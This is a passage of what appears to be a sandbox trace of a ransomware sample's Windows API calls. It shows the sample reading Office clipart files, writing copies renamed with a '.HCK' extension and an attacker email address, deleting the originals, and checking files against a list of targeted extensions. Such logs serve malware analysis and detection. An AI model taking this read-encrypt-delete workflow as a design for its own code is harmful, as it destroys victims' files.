lpOverlapped=0x0) returned 1 [0163.666] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.666] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.666] SetEndOfFile (hFile=0x378) returned 1 [0163.667] CloseHandle (hObject=0x378) returned 1 [0163.667] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.667] SetEndOfFile (hFile=0x398) returned 1 [0163.668] CloseHandle (hObject=0x398) returned 1 [0163.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.668] lstrlenW (lpString=".doc") returned 4 [0163.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.668] lstrlenW (lpString=".docx") returned 5 [0163.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0163.668] lstrlenW (lpString=".pdf") returned 4 [0163.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.668] lstrlenW (lpString=".xls") returned 4 [0163.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.668] lstrlenW (lpString=".xlsx") returned 5 [0163.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0163.668] lstrlenW (lpString=".ppt") returned 4 [0163.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.668] lstrlenW (lpString=".zip") returned 4 [0163.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.668] lstrlenW (lpString=".rar") returned 4 [0163.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.668] lstrlenW (lpString=".bz2") returned 4 [0163.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString=".7z") returned 3 [0163.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".dbf") returned 4 [0163.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".1cd") returned 4 [0163.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".jpg") returned 4 [0163.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".doc") returned 4 [0163.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString=".docx") returned 5 [0163.669] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0163.669] lstrlenW (lpString=".pdf") returned 4 [0163.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString=".xls") returned 4 [0163.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.669] lstrlenW (lpString=".xlsx") returned 5 [0163.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0163.669] lstrlenW (lpString=".ppt") returned 4 [0163.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".zip") returned 4 [0163.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.669] lstrlenW (lpString=".rar") returned 4 [0163.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString=".bz2") returned 4 [0163.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString=".7z") returned 3 [0163.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".dbf") returned 4 [0163.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.669] lstrlenW (lpString=".1cd") returned 4 [0163.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0163.670] lstrlenW (lpString=".jpg") returned 4 [0163.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.670] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0163.670] lstrlenW (lpString="J0099152.JPG") returned 12 [0163.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0163.670] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11694) returned 1 [0163.670] CloseHandle (hObject=0x398) returned 1 [0163.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0163.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0163.670] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.670] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.671] GetLastError () returned 0x0 [0163.671] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2dae, lpOverlapped=0x0) returned 1 [0163.675] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2db0, lpOverlapped=0x0) returned 1 [0163.676] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.676] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.676] SetEndOfFile (hFile=0x378) returned 1 [0163.676] CloseHandle (hObject=0x378) returned 1 [0163.676] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.676] SetEndOfFile (hFile=0x398) returned 1 [0163.677] CloseHandle (hObject=0x398) returned 1 [0163.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".doc") returned 4 [0163.678] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.678] lstrlenW (lpString=".docx") returned 5 [0163.678] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0163.678] lstrlenW (lpString=".pdf") returned 4 [0163.678] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".xls") returned 4 [0163.678] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".xlsx") returned 5 [0163.678] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0163.678] lstrlenW (lpString=".ppt") returned 4 [0163.678] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".zip") returned 4 [0163.678] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".rar") returned 4 [0163.678] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".bz2") returned 4 [0163.678] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.678] lstrlenW (lpString=".7z") returned 3 [0163.678] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".dbf") returned 4 [0163.678] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".1cd") returned 4 [0163.678] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".jpg") returned 4 [0163.678] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.678] lstrlenW (lpString=".doc") returned 4 [0163.678] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.678] lstrlenW (lpString=".docx") returned 5 [0163.678] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0163.678] lstrlenW (lpString=".pdf") returned 4 [0163.678] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".xls") returned 4 [0163.678] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.678] lstrlenW (lpString=".xlsx") returned 5 [0163.678] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0163.678] lstrlenW (lpString=".ppt") returned 4 [0163.679] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.679] lstrlenW (lpString=".zip") returned 4 [0163.679] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.679] lstrlenW (lpString=".rar") returned 4 [0163.679] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.679] lstrlenW (lpString=".bz2") returned 4 [0163.679] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.679] lstrlenW (lpString=".7z") returned 3 [0163.679] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.679] lstrlenW (lpString=".dbf") returned 4 [0163.679] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.679] lstrlenW (lpString=".1cd") returned 4 [0163.679] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0163.679] lstrlenW (lpString=".jpg") returned 4 [0163.679] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.679] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0163.679] lstrlenW (lpString="J0099154.JPG") returned 12 [0163.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0163.679] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6929) returned 1 [0163.679] CloseHandle (hObject=0x398) returned 1 [0163.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0163.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0163.680] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.680] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.680] GetLastError () returned 0x0 [0163.680] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0163.683] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0163.684] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.684] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.684] SetEndOfFile (hFile=0x378) returned 1 [0163.685] CloseHandle (hObject=0x378) returned 1 [0163.685] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.685] SetEndOfFile (hFile=0x398) returned 1 [0163.686] CloseHandle (hObject=0x398) returned 1 [0163.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0163.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.687] lstrlenW (lpString=".doc") returned 4 [0163.687] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.687] lstrlenW (lpString=".docx") returned 5 [0163.687] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0163.687] lstrlenW (lpString=".pdf") returned 4 [0163.687] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.687] lstrlenW (lpString=".xls") returned 4 [0163.687] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.687] lstrlenW (lpString=".xlsx") returned 5 [0163.687] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0163.687] lstrlenW (lpString=".ppt") returned 4 [0163.687] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.687] lstrlenW (lpString=".zip") returned 4 [0163.687] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.687] lstrlenW (lpString=".rar") returned 4 [0163.687] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.687] lstrlenW (lpString=".bz2") returned 4 [0163.687] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.688] lstrlenW (lpString=".7z") returned 3 [0163.688] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString=".dbf") returned 4 [0163.688] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString=".1cd") returned 4 [0163.688] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString=".jpg") returned 4 [0163.688] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString=".doc") returned 4 [0163.688] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.688] lstrlenW (lpString=".docx") returned 5 [0163.688] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0163.688] lstrlenW (lpString=".pdf") returned 4 [0163.688] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.688] lstrlenW (lpString=".xls") returned 4 [0163.688] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.688] lstrlenW (lpString=".xlsx") returned 5 [0163.688] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0163.688] lstrlenW (lpString=".ppt") returned 4 [0163.688] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.688] lstrlenW (lpString=".zip") returned 4 [0163.688] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.688] lstrlenW (lpString=".rar") returned 4 [0163.688] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.688] lstrlenW (lpString=".bz2") returned 4 [0163.688] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.688] lstrlenW (lpString=".7z") returned 3 [0163.688] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.689] lstrlenW (lpString=".dbf") returned 4 [0163.689] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.689] lstrlenW (lpString=".1cd") returned 4 [0163.689] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0163.689] lstrlenW (lpString=".jpg") returned 4 [0163.689] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.689] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0163.689] lstrlenW (lpString="J0099156.JPG") returned 12 [0163.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.690] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13954) returned 1 [0163.690] CloseHandle (hObject=0x378) returned 1 [0163.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0163.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0163.692] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.692] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0163.693] GetLastError () returned 0x0 [0163.693] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3682, lpOverlapped=0x0) returned 1 [0163.698] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3690, lpOverlapped=0x0) returned 1 [0163.699] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.699] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, 